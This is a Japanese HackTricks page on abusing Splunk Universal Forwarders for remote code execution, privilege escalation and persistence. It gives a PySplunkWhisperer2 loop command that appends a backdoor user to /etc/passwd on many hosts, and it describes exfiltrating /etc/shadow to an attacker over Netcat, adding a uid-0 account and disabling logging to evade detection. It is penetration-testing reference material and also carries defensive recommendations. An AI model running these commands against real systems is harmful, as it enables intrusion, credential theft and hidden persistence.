19 KiB
Splunk LPEと永続性
AWSハッキングをゼロからヒーローまで学ぶには htARTE(HackTricks AWS Red Team Expert)をご覧ください!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告掲載したい場合やHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見する、私たちの独占的なNFTsのコレクション
- 💬 Discordグループやテレグラムグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- HackTricksのGitHubリポジトリやHackTricks CloudにPRを提出して、あなたのハッキングテクニックを共有する。
内部または外部でマシンを列挙していて、Splunkが実行中(ポート8090)を見つけた場合、幸運にも有効な資格情報を知っていれば、Splunkサービスを悪用してシェルを実行することができます。rootが実行している場合、root権限に昇格することができます。
また、すでにrootであり、Splunkサービスがlocalhostのみでリスニングしていない場合は、Splunkサービスからパスワードファイルを盗み、パスワードをクラックするか、新しい資格情報を追加することができます。そして、ホスト上で永続性を維持します。
以下の最初の画像では、Splunkdウェブページの様子を見ることができます。
以下の情報は https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/ からのものです。
Splunkフォワーダーを悪用してシェルと永続性を得る
2020年8月14日
説明:
Splunk Universal Forwarder Agent(UF)は、認証されたリモートユーザーがSplunk APIを通じてエージェントに単一のコマンドまたはスクリプトを送信することを可能にします。UFエージェントは、接続が有効なSplunk Enterpriseサーバーからのものであるかを検証せず、UFエージェントはコードが署名されているか、またはSplunk Enterpriseサーバーからのものであることが証明されているかを検証しません。これにより、UFエージェントのパスワードにアクセスした攻撃者は、オペレーティングシステムに応じてSYSTEMまたはrootとしてサーバー上で任意のコードを実行することができます。
この攻撃はペネトレーションテスターによって使用されており、悪意のある攻撃者によって野生で積極的に悪用されている可能性があります。パスワードを取得すると、顧客環境の何百ものシステムが危険にさらされる可能性があります。
Splunk UFのパスワードは比較的簡単に取得できます。詳細については、共通パスワードの場所セクションを参照してください。
文脈:
Splunkは、セキュリティ情報およびイベント監視(SIEM)システムとしてよく使用されるデータ集約および検索ツールです。Splunk Enterpriseサーバーはサーバー上で実行されるウェブアプリケーションであり、ネットワーク内のすべてのシステムにインストールされるエージェントであるUniversal Forwardersがあります。SplunkはWindows、Linux、Mac、Unix用のエージェントバイナリを提供しています。多くの組織は、Linux/Unixホストにエージェントをインストールする代わりにSyslogを使用してSplunkにデータを送信しますが、エージェントのインストールはますます人気が高まっています。
Universal Forwarderは、https://host:8089で各ホストでアクセスできます。/service/などの保護されたAPI呼び出しにアクセスすると、基本認証ボックスが表示されます。ユーザー名は常にadminであり、パスワードのデフォルトはchangemeでしたが、2016年にSplunkは新しいインストールに対して8文字以上のパスワードを設定することを要求しました。私のデモで注目すべきは、複雑さは要求されていないことで、私のエージェントのパスワードは12345678です。リモート攻撃者はロックアウトなしでパスワードをブルートフォースすることができます。これはログホストの必要性です。なぜなら、アカウントがロックアウトされた場合、ログはもはやSplunkサーバーに送信されなくなり、攻撃者はこれを使用して自分の攻撃を隠すことができるからです。次のスクリーンショットはUniversal Forwarderエージェントを示しており、この初期ページは認証なしでアクセス可能であり、Splunk Universal Forwarderを実行しているホストを列挙するために使用できます。
Splunkのドキュメントは、すべてのエージェントに同じUniversal Forwardingパスワードを使用することを示していますが、私は確かではありませんが、これが要件であるか、または各エージェントに個別のパスワードを設定できるかどうか。しかし、ドキュメントと私がSplunk管理者だったときの記憶に基づいて、私はすべてのエージェントが同じパスワードを使用する必要があると信じています。これは、パスワードが1つのシステムで見つかったりクラックされたりした場合、それがすべてのSplunk UFホストで機能する可能性が高いことを意味します。これは私の個人的な経験であり、迅速に何百ものホストを妥協させることができました。
共通パスワードの場所
私はしばしば、ネットワーク上の以下の場所でSplunk Universal Forwardingエージェントのプレーンテキストパスワードを見つけます:
- Active Directory Sysvol/domain.com/Scriptsディレクトリ。管理者は、効率的なエージェントインストールのために、実行可能ファイルとパスワードを一緒に保存します。
- ITインストールファイルをホストするネットワークファイル共有
- 内部ネットワーク上のWikiまたはその他のビルドノートリポジトリ
パスワードは、WindowsホストのProgram Files\Splunk\etc\passwdおよびLinuxおよびUnixホストの/opt/Splunk/etc/passwdでハッシュ形式でもアクセスできます。攻撃者はHashcatを使用してパスワードをクラックするか、クラウドクラッキング環境を借りてクラックの可能性を高めることができます。パスワードは強力なSHA-256ハッシュであり、そのため強力でランダムなパスワードはクラックされる可能性が低いです。
影響:
Splunk Universal Forward Agentのパスワードを持つ攻撃者は、ネットワーク内のすべてのSplunkホストを完全に妥協し、各ホストでSYSTEMまたはrootレベルの権限を取得することができます。私はWindows、Linux、Solaris UnixホストでSplunkエージェントを成功裏に使用しました。この脆弱性により、システムの資格情報がダンプされたり、機密データが外部に流出したり、ランサムウェアがインストールされたりする可能性があります。この脆弱性は迅速で使いやすく、信頼性があります。
Splunkはログを処理するため、攻撃者は最初に実行されるコマンドでUniversal Forwarderを再構成して、Forwarderの場所を変更し、Splunk SIEMへのログ記録を無効にすることができます。これにより、クライアントのBlue Teamに捕まる可能性が大幅に低下します。
Splunk Universal Forwarderは、ログ収集のためにドメインコントローラーにインストールされることがよくあります。これにより、攻撃者は簡単にNTDSファイルを抽出したり、さらなる悪用のためにアンチウイルスを無効にしたり、ドメインを変更したりすることができます。
最後に、Universal Forwarding Agentにはライセンスが必要なく、パスワードでスタンドアロンで構成できます。したがって、攻撃者はUniversal Forwarderをホスト上のバックドア永続性メカニズムとしてインストールできます。これは、Splunkを使用しない顧客であっても、正当なアプリケーションであり、おそらく削除されないでしょう。
証拠:
搾取の例を示すために、私はEnterprise ServerとUniversal Forwardingエージェントの両方に最新のSplunkバージョンを使用してテスト環境を設定しました。このレポートには合計10枚の画像が添付されており、以下を示しています:
1- PySplunkWhisper2を通じて/etc/passwdファイルを要求する
2- Netcatを通じて攻撃者システムに/etc/passwdファイルを受信する
3- PySplunkWhisper2を通じて/etc/shadowファイルを要求する
4- Netcatを通じて攻撃者システムに/etc/shadowファイルを受信する
5- /etc/passwdファイルにユーザーattacker007を追加する
6- /etc/shadowファイルにユーザーattacker007を追加する
7- attacker007が正常に追加されたことを示す新しい/etc/shadowファイルを受信する
8- attacker007アカウントを使用して被害者へのSSHアクセスを確認する
9- ユーザー名root007のバックドアrootアカウントを追加し、uid/gidを0に設定する
10- attacker007を使用してSSHアクセスを確認し、その後root007を使用してrootに昇格する
この時点で、Splunkと作成した2つのユーザーアカウントの両方を通じてホストへの永続的なアクセスを持っています。そのうちの1つはrootを提供します。私はリモートログを無効にして自分の足跡を隠し、このホストを使用してシステムとネットワークを攻撃し続けることができます。
PySplunkWhisperer2のスクリプトは非常に簡単で効果的です。
- 搾取したいホストのIPを含むファイルを作成します。例えばip.txtという名前です。
- 次のように実行します:
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
ホスト情報:
Splunk Enterprise Server: 192.168.42.114
Splunk Forwarder Agent Victim: 192.168.42.98
攻撃者:192.168.42.51
Splunk Enterprise バージョン: 8.0.5 (2020年8月12日のラボ設定時点での最新版)
Universal Forwarder バージョン: 8.0.5 (2020年8月12日のラボ設定時点での最新版)
Splunk, Incに対する改善推奨事項:
以下のすべての解決策を実装することを推奨します。これにより、防御の深さが提供されます:
- 理想的には、Universal Forwarder エージェントはポートを開放せず、定期的にSplunkサーバーに指示を求めるべきです。
- クライアントとサーバー間でTLS相互認証を有効にし、各クライアントに個別のキーを使用します。これにより、すべてのSplunkサービス間で非常に高い双方向セキュリティが提供されます。TLS相互認証はエージェントやIoTデバイスで広く実装されており、信頼できるデバイスクライアントからサーバーへの通信の未来です。
- すべてのコード、単一行、またはスクリプトファイルを、Splunkサーバーによって暗号化および署名された圧縮ファイルで送信します。これはAPIを通じて送信されるエージェントデータを保護するものではありませんが、第三者による悪意のあるリモートコード実行から保護します。
Splunkの顧客に対する改善推奨事項:
- Splunkエージェントに非常に強力なパスワードを設定してください。私は少なくとも15文字のランダムパスワードを推奨しますが、これらのパスワードは決して入力されないので、50文字のような非常に長いパスワードに設定することができます。
- ホストベースのファイアウォールを設定して、Splunkサーバーからの8089/TCPポート(Universal Forwarder Agentのポート)への接続のみを許可します。
Red Teamに対する推奨事項:
- 各オペレーティングシステム用のSplunk Universal Forwarderのコピーをダウンロードしてください。これは優れた軽量で署名されたインプラントです。Splunkが実際にこれを修正する場合に備えて、コピーを保持しておくと良いでしょう。
他の研究者からのエクスプロイト/ブログ
利用可能な公開エクスプロイト:
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
- https://www.exploit-db.com/exploits/46238
- https://www.exploit-db.com/exploits/46487
関連するブログ投稿:
- https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/
- https://medium.com/@airman604/splunk-universal-forwarder-hijacking-5899c3e0e6b2
- https://www.hurricanelabs.com/splunk-tutorials/using-splunk-as-an-offensive-security-tool
** 注意: ** この問題はSplunkシステムにとって深刻な問題であり、他のテスターによって何年にもわたって悪用されてきました。Splunk Universal Forwarderのリモートコード実行は意図された機能ですが、その実装は危険です。私はこのバグをSplunkのバグ報奨金プログラムに提出しようとしましたが、非常に彼らが設計の意図を認識していない可能性が低いためですが、バグ報告はBug Crowd/Splunk開示ポリシーに従う必要があり、Splunkの許可なしには脆弱性の詳細を公に議論することは_決して_できないと通知されました。私は90日間の開示タイムラインを要求しましたが、拒否されました。そのため、私はこの問題を責任を持って開示しませんでした。なぜなら、Splunkは問題を認識しており、無視を選択していると合理的に確信しており、これが企業に深刻な影響を与える可能性があると感じ、情報セキュリティコミュニティが企業を教育する責任があると考えたからです。
Splunkクエリの悪用
情報元 https://blog.hrncirik.net/cve-2023-46214-analysis
CVE-2023-46214 は任意のスクリプトを $SPLUNK_HOME/bin/scripts
にアップロードすることを可能にし、その後、検索クエリ |runshellscript script_name.sh
を使用してそこに保存された スクリプト を 実行 する方法を説明しました:
htARTE (HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ こちら!
HackTricksをサポートする他の方法:
- HackTricksに広告を掲載したい場合やHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手してください。
- The PEASS Familyを発見してください。私たちの独占的なNFTコレクションです。
- 💬 Discordグループやテレグラムグループに参加するか、Twitter 🐦 @carlospolopmでフォローしてください。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。